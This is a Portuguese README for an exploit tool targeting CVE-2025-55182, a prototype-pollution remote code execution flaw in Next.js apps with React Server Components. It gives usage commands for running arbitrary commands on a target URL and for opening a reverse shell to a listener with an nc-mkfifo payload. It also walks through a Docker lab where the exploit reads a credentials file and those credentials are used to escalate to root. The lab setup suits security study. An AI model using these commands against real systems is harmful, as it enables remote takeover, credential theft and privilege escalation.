
Explora a CVE-2025-55182 para execução remota de código por meio de poluição de protótipo.
Autor: Severian N.K.
Esta ferramenta explora uma vulnerabilidade de poluição de protótipo em aplicações Next.js que utilizam React Server Components, resultando em Execução Remota de Código (RCE). Ela suporta tanto execução direta de comandos quanto shells reversos.
Este projeto utiliza um ambiente virtual Python para gerenciar as dependências. Primeiro, certifique-se de ter o Python 3 instalado.
Configure o ambiente virtual:
python3 -m venv venv
Ative o ambiente e instale as dependências:
source venv/bin/activate
pip install -r requirements.txt
Certifique-se de que o ambiente virtual esteja ativado (source venv/bin/activate) antes de executar o exploit.
Para executar um único comando no alvo:
python3 exploit.py -u <TARGET_URL> -c "<COMMAND>"
Exemplo:
python3 exploit.py -u http://example.com -c "id"
Para obter um shell reverso do alvo:
python3 exploit.py -u <TARGET_URL> -r -l <LISTENER_IP> -p <LISTENER_PORT>
Exemplo:
python3 exploit.py -u http://example.com -r -l 10.10.10.2 -p 9001 -P nc-mkfifo
O diretório lab/ contém dois ambientes Docker independentes:
lab/vulnerable): Executando na porta 3000.lab/patched): Executando na porta 3001.cd lab/vulnerable
chmod +x build.sh run.sh
./build.sh
./run.sh
Acesse em: http://localhost:3000
cd lab/patched
chmod +x build.sh run.sh
./build.sh
./run.sh
Acesse em: http://localhost:3001
Você deve especificar o IP do seu listener (--lhost) e a porta (--lport). Você pode encontrar o IP da ponte Docker com ip addr show docker0 (geralmente 172.17.0.1).
python exploit.py -u http://localhost:3000 -r -l 172.17.0.1 -p 6000 -P nc-mkfifo
Nota: Usamos
-P nc-mkfifoporque o alvo está executando Alpine Linux, que exige um tipo específico de payload.
O contêiner vulnerável expõe um arquivo secreto.
python3 exploit.py -u http://localhost:3000 -c "cat /secret/credentials.txt"
# Saída: manager:SuperSecret2025!
Você pode escalar de nextjs para root usando as credenciais comprometidas.
su - manager (Senha: SuperSecret2025!)sudo su (Senha: SuperSecret2025!)cat /root/flag.txt
# Saída: Congratulations! You have gained full control over the system!
Contribuições são bem-vindas! Se você encontrar um bug ou tiver uma ideia de melhoria, abra uma issue ou envie um pull request.